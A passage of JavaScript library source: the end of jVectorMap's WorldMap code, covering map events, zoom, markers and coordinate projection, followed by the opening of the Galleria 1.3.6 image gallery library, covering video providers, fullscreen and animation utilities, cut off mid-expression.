centerTouchX -= offset.left; centerTouchY -= offset.top; touchStartScale = map.scale; touchStartDistance = Math.sqrt( Math.pow(touches[0].pageX - touches[1].pageX, 2) + Math.pow(touches[0].pageY - touches[1].pageY, 2) ); } } lastTouchesLength = touches.length; }; jvm.$(this.container).bind('touchstart', handleTouchEvent); jvm.$(this.container).bind('touchmove', handleTouchEvent); }, bindElementEvents: function(){ var map = this, mouseMoved; this.container.mousemove(function(){ mouseMoved = true; }); /* Can not use common class selectors here because of the bug in jQuery SVG handling, use with caution. */ this.container.delegate("[class~='jvectormap-element']", 'mouseover mouseout', function(e){ var path = this, baseVal = jvm.$(this).attr('class').baseVal ? jvm.$(this).attr('class').baseVal : jvm.$(this).attr('class'), type = baseVal.indexOf('jvectormap-region') === -1 ? 'marker' : 'region', code = type == 'region' ? jvm.$(this).attr('data-code') : jvm.$(this).attr('data-index'), element = type == 'region' ? map.regions[code].element : map.markers[code].element, labelText = type == 'region' ? map.mapData.paths[code].name : (map.markers[code].config.name || ''), labelShowEvent = jvm.$.Event(type+'LabelShow.jvectormap'), overEvent = jvm.$.Event(type+'Over.jvectormap'); if (e.type == 'mouseover') { map.container.trigger(overEvent, [code]); if (!overEvent.isDefaultPrevented()) { element.setHovered(true); } map.label.text(labelText); map.container.trigger(labelShowEvent, [map.label, code]); if (!labelShowEvent.isDefaultPrevented()) { map.label.show(); map.labelWidth = map.label.width(); map.labelHeight = map.label.height(); } } else { element.setHovered(false); map.label.hide(); map.container.trigger(type+'Out.jvectormap', [code]); } }); /* Can not use common class selectors here because of the bug in jQuery SVG handling, use with caution. */ this.container.delegate("[class~='jvectormap-element']", 'mousedown', function(e){ mouseMoved = false; }); /* Can not use common class selectors here because of the bug in jQuery SVG handling, use with caution. */ this.container.delegate("[class~='jvectormap-element']", 'mouseup', function(e){ var path = this, baseVal = jvm.$(this).attr('class').baseVal ? jvm.$(this).attr('class').baseVal : jvm.$(this).attr('class'), type = baseVal.indexOf('jvectormap-region') === -1 ? 'marker' : 'region', code = type == 'region' ? jvm.$(this).attr('data-code') : jvm.$(this).attr('data-index'), clickEvent = jvm.$.Event(type+'Click.jvectormap'), element = type == 'region' ? map.regions[code].element : map.markers[code].element; if (!mouseMoved) { map.container.trigger(clickEvent, [code]); if ((type === 'region' && map.params.regionsSelectable) || (type === 'marker' && map.params.markersSelectable)) { if (!clickEvent.isDefaultPrevented()) { if (map.params[type+'sSelectableOne']) { map.clearSelected(type+'s'); } element.setSelected(!element.isSelected); } } } }); }, bindZoomButtons: function() { var map = this; jvm.$('<div/>').addClass('jvectormap-zoomin').text('+').appendTo(this.container); jvm.$('<div/>').addClass('jvectormap-zoomout').html('&#x2212;').appendTo(this.container); this.container.find('.jvectormap-zoomin').click(function(){ map.setScale(map.scale * map.params.zoomStep, map.width / 2, map.height / 2); }); this.container.find('.jvectormap-zoomout').click(function(){ map.setScale(map.scale / map.params.zoomStep, map.width / 2, map.height / 2); }); }, createLabel: function(){ var map = this; this.label = jvm.$('<div/>').addClass('jvectormap-label').appendTo(jvm.$('body')); this.container.mousemove(function(e){ var left = e.pageX-15-map.labelWidth, top = e.pageY-15-map.labelHeight; if (left < 5) { left = e.pageX + 15; } if (top < 5) { top = e.pageY + 15; } if (map.label.is(':visible')) { map.label.css({ left: left, top: top }) } }); }, setScale: function(scale, anchorX, anchorY, isCentered) { var zoomStep, viewportChangeEvent = jvm.$.Event('zoom.jvectormap'); if (scale > this.params.zoomMax * this.baseScale) { scale = this.params.zoomMax * this.baseScale; } else if (scale < this.params.zoomMin * this.baseScale) { scale = this.params.zoomMin * this.baseScale; } if (typeof anchorX != 'undefined' && typeof anchorY != 'undefined') { zoomStep = scale / this.scale; if (isCentered) { this.transX = anchorX + this.defaultWidth * (this.width / (this.defaultWidth * scale)) / 2; this.transY = anchorY + this.defaultHeight * (this.height / (this.defaultHeight * scale)) / 2; } else { this.transX -= (zoomStep - 1) / scale * anchorX; this.transY -= (zoomStep - 1) / scale * anchorY; } } this.scale = scale; this.applyTransform(); this.container.trigger(viewportChangeEvent, [scale/this.baseScale]); }, /** * Set the map's viewport to the specific point and set zoom of the map to the specific level. Point and zoom level could be defined in two ways: using the code of some region to focus on or a central point and zoom level as numbers. * @param {Number|String|Array} scale|regionCode|regionCodes If the first parameter of this method is a string or array of strings and there are regions with the these codes, the viewport will be set to show all these regions. Otherwise if the first parameter is a number, the viewport will be set to show the map with provided scale. * @param {Number} centerX Number from 0 to 1 specifying the horizontal coordinate of the central point of the viewport. * @param {Number} centerY Number from 0 to 1 specifying the vertical coordinate of the central point of the viewport. */ setFocus: function(scale, centerX, centerY){ var bbox, itemBbox, newBbox, codes, i; if (jvm.$.isArray(scale) || this.regions[scale]) { if (jvm.$.isArray(scale)) { codes = scale; } else { codes = [scale] } for (i = 0; i < codes.length; i++) { if (this.regions[codes[i]]) { itemBbox = this.regions[codes[i]].element.getBBox(); if (itemBbox) { if (typeof bbox == 'undefined') { bbox = itemBbox; } else { newBbox = { x: Math.min(bbox.x, itemBbox.x), y: Math.min(bbox.y, itemBbox.y), width: Math.max(bbox.x + bbox.width, itemBbox.x + itemBbox.width) - Math.min(bbox.x, itemBbox.x), height: Math.max(bbox.y + bbox.height, itemBbox.y + itemBbox.height) - Math.min(bbox.y, itemBbox.y) } bbox = newBbox; } } } } this.setScale( Math.min(this.width / bbox.width, this.height / bbox.height), - (bbox.x + bbox.width / 2), - (bbox.y + bbox.height / 2), true ); } else { scale = scale * this.baseScale; this.setScale(scale, - centerX * this.defaultWidth, - centerY * this.defaultHeight, true); } }, getSelected: function(type){ var key, selected = []; for (key in this[type]) { if (this[type][key].element.isSelected) { selected.push(key); } } return selected; }, /** * Return the codes of currently selected regions. * @returns {Array} */ getSelectedRegions: function(){ return this.getSelected('regions'); }, /** * Return the codes of currently selected markers. * @returns {Array} */ getSelectedMarkers: function(){ return this.getSelected('markers'); }, setSelected: function(type, keys){ var i; if (typeof keys != 'object') { keys = [keys]; } if (jvm.$.isArray(keys)) { for (i = 0; i < keys.length; i++) { this[type][keys[i]].element.setSelected(true); } } else { for (i in keys) { this[type][i].element.setSelected(!!keys[i]); } } }, /** * Set or remove selected state for the regions. * @param {String|Array|Object} keys If <code>String</code> or <code>Array</code> the region(s) with the corresponding code(s) will be selected. If <code>Object</code> was provided its keys are codes of regions, state of which should be changed. Selected state will be set if value is true, removed otherwise. */ setSelectedRegions: function(keys){ this.setSelected('regions', keys); }, /** * Set or remove selected state for the markers. * @param {String|Array|Object} keys If <code>String</code> or <code>Array</code> the marker(s) with the corresponding code(s) will be selected. If <code>Object</code> was provided its keys are codes of markers, state of which should be changed. Selected state will be set if value is true, removed otherwise. */ setSelectedMarkers: function(keys){ this.setSelected('markers', keys); }, clearSelected: function(type){ var select = {}, selected = this.getSelected(type), i; for (i = 0; i < selected.length; i++) { select[selected[i]] = false; }; this.setSelected(type, select); }, /** * Remove the selected state from all the currently selected regions. */ clearSelectedRegions: function(){ this.clearSelected('regions'); }, /** * Remove the selected state from all the currently selected markers. */ clearSelectedMarkers: function(){ this.clearSelected('markers'); }, /** * Return the instance of WorldMap. Useful when instantiated as a jQuery plug-in. * @returns {WorldMap} */ getMapObject: function(){ return this; }, /** * Return the name of the region by region code. * @returns {String} */ getRegionName: function(code){ return this.mapData.paths[code].name; }, createRegions: function(){ var key, region, map = this; for (key in this.mapData.paths) { region = this.canvas.addPath({ d: this.mapData.paths[key].path, "data-code": key }, jvm.$.extend(true, {}, this.params.regionStyle)); jvm.$(region.node).bind('selected', function(e, isSelected){ map.container.trigger('regionSelected.jvectormap', [jvm.$(this).attr('data-code'), isSelected, map.getSelectedRegions()]); }); region.addClass('jvectormap-region jvectormap-element'); this.regions[key] = { element: region, config: this.mapData.paths[key] }; } }, createMarkers: function(markers) { var i, marker, point, markerConfig, markersArray, map = this; this.markersGroup = this.markersGroup || this.canvas.addGroup(); if (jvm.$.isArray(markers)) { markersArray = markers.slice(); markers = {}; for (i = 0; i < markersArray.length; i++) { markers[i] = markersArray[i]; } } for (i in markers) { markerConfig = markers[i] instanceof Array ? {latLng: markers[i]} : markers[i]; point = this.getMarkerPosition( markerConfig ); if (point !== false) { marker = this.canvas.addCircle({ "data-index": i, cx: point.x, cy: point.y }, jvm.$.extend(true, {}, this.params.markerStyle, {initial: markerConfig.style || {}}), this.markersGroup); marker.addClass('jvectormap-marker jvectormap-element'); jvm.$(marker.node).bind('selected', function(e, isSelected){ map.container.trigger('markerSelected.jvectormap', [jvm.$(this).attr('data-index'), isSelected, map.getSelectedMarkers()]); }); if (this.markers[i]) { this.removeMarkers([i]); } this.markers[i] = {element: marker, config: markerConfig}; } } }, repositionMarkers: function() { var i, point; for (i in this.markers) { point = this.getMarkerPosition( this.markers[i].config ); if (point !== false) { this.markers[i].element.setStyle({cx: point.x, cy: point.y}); } } }, getMarkerPosition: function(markerConfig) { if (jvm.WorldMap.maps[this.params.map].projection) { return this.latLngToPoint.apply(this, markerConfig.latLng || [0, 0]); } else { return { x: markerConfig.coords[0]*this.scale + this.transX*this.scale, y: markerConfig.coords[1]*this.scale + this.transY*this.scale }; } }, /** * Add one marker to the map. * @param {String} key Marker unique code. * @param {Object} marker Marker configuration parameters. * @param {Array} seriesData Values to add to the data series. */ addMarker: function(key, marker, seriesData){ var markers = {}, data = [], values, i, seriesData = seriesData || []; markers[key] = marker; for (i = 0; i < seriesData.length; i++) { values = {}; values[key] = seriesData[i]; data.push(values); } this.addMarkers(markers, data); }, /** * Add set of marker to the map. * @param {Object|Array} markers Markers to add to the map. In case of array is provided, codes of markers will be set as string representations of array indexes. * @param {Array} seriesData Values to add to the data series. */ addMarkers: function(markers, seriesData){ var i; seriesData = seriesData || []; this.createMarkers(markers); for (i = 0; i < seriesData.length; i++) { this.series.markers[i].setValues(seriesData[i] || {}); }; }, /** * Remove some markers from the map. * @param {Array} markers Array of marker codes to be removed. */ removeMarkers: function(markers){ var i; for (i = 0; i < markers.length; i++) { this.markers[ markers[i] ].element.remove(); delete this.markers[ markers[i] ]; }; }, /** * Remove all markers from the map. */ removeAllMarkers: function(){ var i, markers = []; for (i in this.markers) { markers.push(i); } this.removeMarkers(markers) }, /** * Converts coordinates expressed as latitude and longitude to the coordinates in pixels on the map. * @param {Number} lat Latitide of point in degrees. * @param {Number} lng Longitude of point in degrees. */ latLngToPoint: function(lat, lng) { var point, proj = jvm.WorldMap.maps[this.params.map].projection, centralMeridian = proj.centralMeridian, width = this.width - this.baseTransX * 2 * this.baseScale, height = this.height - this.baseTransY * 2 * this.baseScale, inset, bbox, scaleFactor = this.scale / this.baseScale; if (lng < (-180 + centralMeridian)) { lng += 360; } point = jvm.Proj[proj.type](lat, lng, centralMeridian); inset = this.getInsetForPoint(point.x, point.y); if (inset) { bbox = inset.bbox; point.x = (point.x - bbox[0].x) / (bbox[1].x - bbox[0].x) * inset.width * this.scale; point.y = (point.y - bbox[0].y) / (bbox[1].y - bbox[0].y) * inset.height * this.scale; return { x: point.x + this.transX*this.scale + inset.left*this.scale, y: point.y + this.transY*this.scale + inset.top*this.scale }; } else { return false; } }, /** * Converts cartesian coordinates into coordinates expressed as latitude and longitude. * @param {Number} x X-axis of point on map in pixels. * @param {Number} y Y-axis of point on map in pixels. */ pointToLatLng: function(x, y) { var proj = jvm.WorldMap.maps[this.params.map].projection, centralMeridian = proj.centralMeridian, insets = jvm.WorldMap.maps[this.params.map].insets, i, inset, bbox, nx, ny; for (i = 0; i < insets.length; i++) { inset = insets[i]; bbox = inset.bbox; nx = x - (this.transX*this.scale + inset.left*this.scale); ny = y - (this.transY*this.scale + inset.top*this.scale); nx = (nx / (inset.width * this.scale)) * (bbox[1].x - bbox[0].x) + bbox[0].x; ny = (ny / (inset.height * this.scale)) * (bbox[1].y - bbox[0].y) + bbox[0].y; if (nx > bbox[0].x && nx < bbox[1].x && ny > bbox[0].y && ny < bbox[1].y) { return jvm.Proj[proj.type + '_inv'](nx, -ny, centralMeridian); } } return false; }, getInsetForPoint: function(x, y){ var insets = jvm.WorldMap.maps[this.params.map].insets, i, bbox; for (i = 0; i < insets.length; i++) { bbox = insets[i].bbox; if (x > bbox[0].x && x < bbox[1].x && y > bbox[0].y && y < bbox[1].y) { return insets[i]; } } }, createSeries: function(){ var i, key; this.series = { markers: [], regions: [] }; for (key in this.params.series) { for (i = 0; i < this.params.series[key].length; i++) { this.series[key][i] = new jvm.DataSeries( this.params.series[key][i], this[key] ); } } }, /** * Gracefully remove the map and and all its accessories, unbind event handlers. */ remove: function(){ this.label.remove(); this.container.remove(); jvm.$(window).unbind('resize', this.onResize); } }; jvm.WorldMap.maps = {}; jvm.WorldMap.defaultParams = { map: 'world_mill_en', backgroundColor: '#505050', zoomButtons: true, zoomOnScroll: true, zoomMax: 8, zoomMin: 1, zoomStep: 1.6, regionsSelectable: false, markersSelectable: false, bindTouchEvents: true, regionStyle: { initial: { fill: 'white', "fill-opacity": 1, stroke: 'none', "stroke-width": 0, "stroke-opacity": 1 }, hover: { "fill-opacity": 0.8 }, selected: { fill: 'yellow' }, selectedHover: { } }, markerStyle: { initial: { fill: 'grey', stroke: '#505050', "fill-opacity": 1, "stroke-width": 1, "stroke-opacity": 1, r: 5 }, hover: { stroke: 'black', "stroke-width": 2 }, selected: { fill: 'blue' }, selectedHover: { } } }; jvm.WorldMap.apiEvents = { onRegionLabelShow: 'regionLabelShow', onRegionOver: 'regionOver', onRegionOut: 'regionOut', onRegionClick: 'regionClick', onRegionSelected: 'regionSelected', onMarkerLabelShow: 'markerLabelShow', onMarkerOver: 'markerOver', onMarkerOut: 'markerOut', onMarkerClick: 'markerClick', onMarkerSelected: 'markerSelected', onViewportChange: 'viewportChange' };
JavaScript
/** * Galleria v 1.3.6 2014-06-23 * http://galleria.io * * Licensed under the MIT license * https://raw.github.com/aino/galleria/master/LICENSE * */ (function( $, window, Galleria, undef ) { /*global jQuery, navigator, Image, module, define */ // some references var doc = window.document, $doc = $( doc ), $win = $( window ), // native prototypes protoArray = Array.prototype, // internal constants VERSION = 1.36, DEBUG = true, TIMEOUT = 30000, DUMMY = false, NAV = navigator.userAgent.toLowerCase(), HASH = window.location.hash.replace(/#\//, ''), PROT = window.location.protocol, M = Math, F = function(){}, FALSE = function() { return false; }, IE = (function() { var v = 3, div = doc.createElement( 'div' ), all = div.getElementsByTagName( 'i' ); do { div.innerHTML = '<!--[if gt IE ' + (++v) + ']><i></i><![endif]-->'; } while ( all[0] ); return v > 4 ? v : doc.documentMode || undef; }() ), DOM = function() { return { html: doc.documentElement, body: doc.body, head: doc.getElementsByTagName('head')[0], title: doc.title }; }, IFRAME = window.parent !== window.self, // list of Galleria events _eventlist = 'data ready thumbnail loadstart loadfinish image play pause progress ' + 'fullscreen_enter fullscreen_exit idle_enter idle_exit rescale ' + 'lightbox_open lightbox_close lightbox_image', _events = (function() { var evs = []; $.each( _eventlist.split(' '), function( i, ev ) { evs.push( ev ); // legacy events if ( /_/.test( ev ) ) { evs.push( ev.replace( /_/g, '' ) ); } }); return evs; }()), // legacy options // allows the old my_setting syntax and converts it to camel case _legacyOptions = function( options ) { var n; if ( typeof options !== 'object' ) { // return whatever it was... return options; } $.each( options, function( key, value ) { if ( /^[a-z]+_/.test( key ) ) { n = ''; $.each( key.split('_'), function( i, k ) { n += i > 0 ? k.substr( 0, 1 ).toUpperCase() + k.substr( 1 ) : k; }); options[ n ] = value; delete options[ key ]; } }); return options; }, _patchEvent = function( type ) { // allow 'image' instead of Galleria.IMAGE if ( $.inArray( type, _events ) > -1 ) { return Galleria[ type.toUpperCase() ]; } return type; }, // video providers _video = { youtube: { reg: /https?:\/\/(?:[a-zA_Z]{2,3}.)?(?:youtube\.com\/watch\?)((?:[\w\d\-\_\=]+&amp;(?:amp;)?)*v(?:&lt;[A-Z]+&gt;)?=([0-9a-zA-Z\-\_]+))/i, embed: function() { return 'http://www.youtube.com/embed/' + this.id; }, getUrl: function() { return PROT + '//gdata.youtube.com/feeds/api/videos/' + this.id + '?v=2&alt=json-in-script&callback=?'; }, get_thumb: function(data) { return data.entry.media$group.media$thumbnail[2].url; }, get_image: function(data) { if ( data.entry.yt$hd ) { return PROT + '//img.youtube.com/vi/'+this.id+'/maxresdefault.jpg'; } return data.entry.media$group.media$thumbnail[3].url; } }, vimeo: { reg: /https?:\/\/(?:www\.)?(vimeo\.com)\/(?:hd#)?([0-9]+)/i, embed: function() { return 'http://player.vimeo.com/video/' + this.id; }, getUrl: function() { return PROT + '//vimeo.com/api/v2/video/' + this.id + '.json?callback=?'; }, get_thumb: function( data ) { return data[0].thumbnail_medium; }, get_image: function( data ) { return data[0].thumbnail_large; } }, dailymotion: { reg: /https?:\/\/(?:www\.)?(dailymotion\.com)\/video\/([^_]+)/, embed: function() { return PROT + '//www.dailymotion.com/embed/video/' + this.id; }, getUrl: function() { return 'https://api.dailymotion.com/video/' + this.id + '?fields=thumbnail_240_url,thumbnail_720_url&callback=?'; }, get_thumb: function( data ) { return data.thumbnail_240_url; }, get_image: function( data ) { return data.thumbnail_720_url; } }, _inst: [] }, Video = function( type, id ) { for( var i=0; i<_video._inst.length; i++ ) { if ( _video._inst[i].id === id && _video._inst[i].type == type ) { return _video._inst[i]; } } this.type = type; this.id = id; this.readys = []; _video._inst.push(this); var self = this; $.extend( this, _video[type] ); $.getJSON( this.getUrl(), function(data) { self.data = data; $.each( self.readys, function( i, fn ) { fn( self.data ); }); self.readys = []; }); this.getMedia = function( type, callback, fail ) { fail = fail || F; var self = this; var success = function( data ) { callback( self['get_'+type]( data ) ); }; try { if ( self.data ) { success( self.data ); } else { self.readys.push( success ); } } catch(e) { fail(); } }; }, // utility for testing the video URL and getting the video ID _videoTest = function( url ) { var match; for ( var v in _video ) { match = url && _video[v].reg && url.match( _video[v].reg ); if( match && match.length ) { return { id: match[2], provider: v }; } } return false; }, // native fullscreen handler _nativeFullscreen = { support: (function() { var html = DOM().html; return !IFRAME && ( html.requestFullscreen || html.msRequestFullscreen || html.mozRequestFullScreen || html.webkitRequestFullScreen ); }()), callback: F, enter: function( instance, callback, elem ) { this.instance = instance; this.callback = callback || F; elem = elem || DOM().html; if ( elem.requestFullscreen ) { elem.requestFullscreen(); } else if ( elem.msRequestFullscreen ) { elem.msRequestFullscreen(); } else if ( elem.mozRequestFullScreen ) { elem.mozRequestFullScreen(); } else if ( elem.webkitRequestFullScreen ) { elem.webkitRequestFullScreen(); } }, exit: function( callback ) { this.callback = callback || F; if ( doc.exitFullscreen ) { doc.exitFullscreen(); } else if ( doc.msExitFullscreen ) { doc.msExitFullscreen(); } else if ( doc.mozCancelFullScreen ) { doc.mozCancelFullScreen(); } else if ( doc.webkitCancelFullScreen ) { doc.webkitCancelFullScreen(); } }, instance: null, listen: function() { if ( !this.support ) { return; } var handler = function() { if ( !_nativeFullscreen.instance ) { return; } var fs = _nativeFullscreen.instance._fullscreen; if ( doc.fullscreen || doc.mozFullScreen || doc.webkitIsFullScreen || ( doc.msFullscreenElement && doc.msFullscreenElement !== null ) ) { fs._enter( _nativeFullscreen.callback ); } else { fs._exit( _nativeFullscreen.callback ); } }; doc.addEventListener( 'fullscreenchange', handler, false ); doc.addEventListener( 'MSFullscreenChange', handler, false ); doc.addEventListener( 'mozfullscreenchange', handler, false ); doc.addEventListener( 'webkitfullscreenchange', handler, false ); } }, // the internal gallery holder _galleries = [], // the internal instance holder _instances = [], // flag for errors _hasError = false, // canvas holder _canvas = false, // instance pool, holds the galleries until themeLoad is triggered _pool = [], // themeLoad trigger _themeLoad = function( theme ) { Galleria.theme = theme; // run the instances we have in the pool $.each( _pool, function( i, instance ) { if ( !instance._initialized ) { instance._init.call( instance ); } }); _pool = []; }, // the Utils singleton Utils = (function() { return { // legacy support for clearTimer clearTimer: function( id ) { $.each( Galleria.get(), function() { this.clearTimer( id ); }); }, // legacy support for addTimer addTimer: function( id ) { $.each( Galleria.get(), function() { this.addTimer( id ); }); }, array : function( obj ) { return protoArray.slice.call(obj, 0); }, create : function( className, nodeName ) { nodeName = nodeName || 'div'; var elem = doc.createElement( nodeName ); elem.className = className; return elem; }, removeFromArray : function( arr, elem ) { $.each(arr, function(i, el) { if ( el == elem ) { arr.splice(i, 1); return false; } }); return arr; }, getScriptPath : function( src ) { // the currently executing script is always the last src = src || $('script:last').attr('src'); var slices = src.split('/'); if (slices.length == 1) { return ''; } slices.pop(); return slices.join('/') + '/'; }, // CSS3 transitions, added in 1.2.4 animate : (function() { // detect transition var transition = (function( style ) { var props = 'transition WebkitTransition MozTransition OTransition'.split(' '), i; // disable css3 animations in opera until stable if ( window.opera ) { return false; } for ( i = 0; props[i]; i++ ) { if ( typeof style[ props[ i ] ] !== 'undefined' ) { return props[ i ]; } } return false; }(( doc.body || doc.documentElement).style )); // map transitionend event var endEvent = { MozTransition: 'transitionend', OTransition: 'oTransitionEnd', WebkitTransition: 'webkitTransitionEnd', transition: 'transitionend' }[ transition ]; // map bezier easing conversions var easings = { _default: [0.25, 0.1, 0.25, 1], galleria: [0.645, 0.045, 0.355, 1], galleriaIn: [0.55, 0.085, 0.68, 0.53], galleriaOut: [0.25, 0.46, 0.45, 0.94], ease: [0.25, 0, 0.25, 1], linear: [0.25, 0.25, 0.75, 0.75], 'ease-in': [0.42, 0, 1, 1], 'ease-out': [0, 0, 0.58, 1], 'ease-in-out': [0.42, 0, 0.58, 1] }; // function for setting transition css for all browsers var setStyle = function( elem, value, suffix ) { var css = {}; suffix = suffix || 'transition'; $.each( 'webkit moz ms o'.split(' '), function() { css[ '-' + this + '-' + suffix ] = value; }); elem.css( css ); }; // clear styles var clearStyle = function( elem ) { setStyle( elem, 'none', 'transition' ); if ( Galleria.WEBKIT && Galleria.TOUCH ) { setStyle( elem, 'translate3d(0,0,0)', 'transform' ); if ( elem.data('revert') ) { elem.css( elem.data('revert') ); elem.data('revert', null); } } }; // various variables var change, strings, easing, syntax, revert, form, css; // the actual animation method return function( elem, to, options ) { // extend defaults options = $.extend({ duration: 400, complete: F, stop: false }, options); // cache jQuery instance elem = $( elem ); if ( !options.duration ) { elem.css( to ); options.complete.call( elem[0] ); return; } // fallback to jQuery's animate if transition is not supported if ( !transition ) { elem.animate(to, options); return; } // stop if ( options.stop ) { // clear the animation elem.off( endEvent ); clearStyle( elem ); } // see if there is a change change = false; $.each( to, function( key, val ) { css = elem.css( key ); if ( Utils.parseValue( css ) != Utils.parseValue( val ) ) { change = true; } // also add computed styles for FF elem.css( key, css ); }); if ( !change ) { window.setTimeout( function() { options.complete.call( elem[0] ); }, options.duration ); return; } // the css strings to be applied strings = []; // the easing bezier easing = options.easing in easings ? easings[ options.easing ] : easings._default; // the syntax syntax = ' ' + options.duration + 'ms' + ' cubic-bezier(' + easing.join(',') + ')'; // add a tiny timeout so that the browsers catches any css changes before animating window.setTimeout( (function(elem, endEvent, to, syntax) { return function() { // attach the end event elem.one(endEvent, (function( elem ) { return function() { // clear the animation clearStyle(elem); // run the complete method options.complete.call(elem[0]); }; }( elem ))); // do the webkit translate3d for better performance on iOS if( Galleria.WEBKIT && Galleria.TOUCH ) { revert = {}; form = [0,0,0]; $.each( ['left', 'top'], function(i, m) { if ( m in to ) { form[ i ] = ( Utils.parseValue( to[ m ] ) - Utils.parseValue(elem.css( m )) ) + 'px'; revert[ m ] = to[ m ]; delete to[ m ]; } }); if ( form[0] || form[1]) { elem.data('revert', revert); strings.push('-webkit-transform' + syntax); // 3d animate setStyle( elem, 'translate3d(' + form.join(',') + ')', 'transform'); } } // push the animation props $.each(to, function( p, val ) { strings.push(p + syntax); }); // set the animation styles setStyle( elem, strings.join(',') ); // animate elem.css( to ); }; }(elem, endEvent, to, syntax)), 2); }; }()), removeAlpha : function( elem ) { if ( elem instanceof jQuery ) { elem = elem[0]; } if ( IE < 9 && elem ) { var style = elem.style, currentStyle = elem.currentStyle, filter = currentStyle && currentStyle.filter || style.filter || ""; if ( /alpha/.test( filter ) ) { style.filter = filter.replace( /alpha\([^)]*\)/i, '' ); } } }, forceStyles : function( elem, styles ) { elem = $(elem); if ( elem.attr( 'style' ) ) { elem.data( 'styles', elem.attr( 'style' ) ).removeAttr( 'style' ); } elem.css( styles ); }, revertStyles : function() { $.each( Utils.array( arguments ), function( i, elem ) { elem = $( elem ); elem.removeAttr( 'style' ); elem.attr('style',''); // "fixes" webkit bug if ( elem.data( 'styles' ) ) { elem.attr( 'style', elem.data('styles') ).data( 'styles', null ); } }); }, moveOut : function( elem ) { Utils.forceStyles( elem, { position: 'absolute', left: -10000 }); }, moveIn : function() { Utils.revertStyles.apply( Utils, Utils.array( arguments ) ); }, hide : function( elem, speed, callback ) { callback = callback || F; var $elem = $(elem); elem = $elem[0]; // save the value if not exist if (! $elem.data('opacity') ) { $elem.data('opacity', $elem.css('opacity') ); } // always hide var style = { opacity: 0 }; if (speed) { var complete = IE < 9 && elem ? function() { Utils.removeAlpha( elem ); elem.style.visibility = 'hidden'; callback.call( elem ); } : callback; Utils.animate( elem, style, { duration: speed, complete: complete, stop: true }); } else { if ( IE < 9 && elem ) { Utils.removeAlpha( elem ); elem.style.visibility = 'hidden'; } else { $elem.css( style ); } } }, show : function( elem, speed, callback ) { callback = callback || F; var $elem = $(elem); elem = $elem[0]; // bring back saved opacity var saved = parseFloat( $elem.data('opacity') ) || 1, style = { opacity: saved }; // animate or toggle if (speed) { if ( IE < 9 ) { $elem.css('opacity', 0); elem.style.visibility = 'visible'; } var complete = IE < 9 && elem ? function() { if ( style.opacity == 1 ) { Utils.removeAlpha( elem ); } callback.call( elem ); } : callback; Utils.animate( elem, style, { duration: speed, complete: complete, stop: true }); } else { if ( IE < 9 && style.opacity == 1 && elem ) { Utils.removeAlpha( elem ); elem.style.visibility = 'visible'; } else { $elem.css( style ); } } }, wait : function(options) { Galleria._waiters = Galleria._waiters || []; options = $.extend({ until : FALSE, success : F, error : function() { Galleria.raise('Could not complete wait function.'); }, timeout: 3000 }, options); var start = Utils.timestamp(), elapsed, now, tid, fn = function() { now = Utils.timestamp(); elapsed = now - start; Utils.removeFromArray( Galleria._waiters, tid ); if ( options.until( elapsed ) ) { options.success(); return false; } if (typeof options.timeout == 'number' && now >= start + options.timeout) { options.error(); return false; } Galleria._waiters.push( tid = window.setTimeout(fn, 10) ); }; Galleria._waiters.push( tid = window.setTimeout(fn, 10) ); }, toggleQuality : function( img, force ) { if ( ( IE !== 7 && IE !== 8 ) || !img || img.nodeName.toUpperCase() != 'IMG' ) { return; } if ( typeof force === 'undefined' ) { force = img.style.msInterpolationMode === 'nearest-neighbor'; } img.style.msInterpolationMode = force ? 'bicubic' : 'nearest-neighbor'; }, insertStyleTag : function( styles, id ) { if ( id && $( '#'+id ).length ) { return; } var style = doc.createElement( 'style' ); if ( id ) { style.id = id; } DOM().head.appendChild( style ); if ( style.styleSheet ) { // IE style.styleSheet.cssText = styles; } else { var cssText = doc.createTextNode( styles ); style.appendChild( cssText ); } }, // a loadscript method that works for local scripts loadScript: function( url, callback ) { var done = false, script = $('<scr'+'ipt>').attr({ src: url, async: true }).get(0); // Attach handlers for all browsers script.onload = script.onreadystatechange = function() { if ( !done && (!this.readyState || this.readyState === 'loaded' || this.readyState === 'complete') ) { done = true; // Handle memory leak in IE script.onload = script.onreadystatechange = null; if (typeof callback === 'function') { callback.call( this, this ); } } }; DOM().head.appendChild( script ); }, // parse anything into a number parseValue: function( val ) { if (typeof val === 'number') { return val; } else if (typeof val === 'string') { var arr = val.match(/\-?\d|\./g); return arr && arr.constructor === Array ? arr.join('')*1 : 0; } else { return 0; } }, // timestamp abstraction timestamp: function() { return new Date().getTime(); }, loadCSS : function( href, id, callback ) { var link, length; // look for manual css $('link[rel=stylesheet]').each(function() { if ( new RegExp( href ).test( this.href ) ) { link = this; return false; } }); if ( typeof id === 'function' ) { callback = id; id = undef; } callback = callback || F; // dirty // if already present, return if ( link ) { callback.call( link, link ); return link; } // save the length of stylesheets to check against length = doc.styleSheets.length; // check for existing id if( $( '#' + id ).length ) { $( '#' + id ).attr( 'href', href ); length--; } else { link = $( '<link>' ).attr({ rel: 'stylesheet', href: href, id: id }).get(0); var styles = $('link[rel="stylesheet"], style'); if ( styles.length ) { styles.get(0).parentNode.insertBefore( link, styles[0] ); } else { DOM().head.appendChild( link ); } if ( IE && length >= 31 ) { Galleria.raise( 'You have reached the browser stylesheet limit (31)', true ); return; } } if ( typeof callback === 'function' ) { // First check for dummy element (new in 1.2.8) var $loader = $('<s>').attr( 'id', 'galleria-loader' ).hide().appendTo( DOM().body ); Utils.wait({ until: function() { return $loader.height() == 1; }, success: function() { $loader.remove(); callback.call( link, link ); }, error: function() { $loader.remove(); // If failed, tell the dev to download the latest theme Galleria.raise( 'Theme CSS could not load after 20 sec. ' + ( Galleria.QUIRK ? 'Your browser is in Quirks Mode, please add a correct doctype.' : 'Please download the latest theme at http://galleria.io/customer/.' ), true ); }, timeout: 5000 }); } return link; } }; }()), // play icon _playIcon = function( container ) { var css = '.galleria-videoicon{width:60px;height:60px;position:absolute;top:50%;left:50%;z-index:1;' + 'margin:-30px 0 0 -30px;cursor:pointer;background:#000;background:rgba(0,0,0,.8);border-radius:3px;-webkit-transition:all 150ms}' + '.galleria-videoicon i{width:0px;height:0px;border-style:solid;border-width:10px 0 10px 16px;display:block;' + 'border-color:transparent transparent transparent #ffffff;margin:20px 0 0 22px}.galleria-image:hover .galleria-videoicon{background:#000}'; Utils.insertStyleTag( css, 'galleria-videoicon' ); return $( Utils.create( 'galleria-videoicon' ) ).html( '<i></i>' ).appendTo( container ) .click( function() { $( this ).siblings( 'img' ).mouseup(); }); }, // the transitions holder _transitions = (function() { var _slide = function(params, complete, fade, door) { var easing = this.getOptions('easing'), distance = this.getStageWidth(), from = { left: distance * 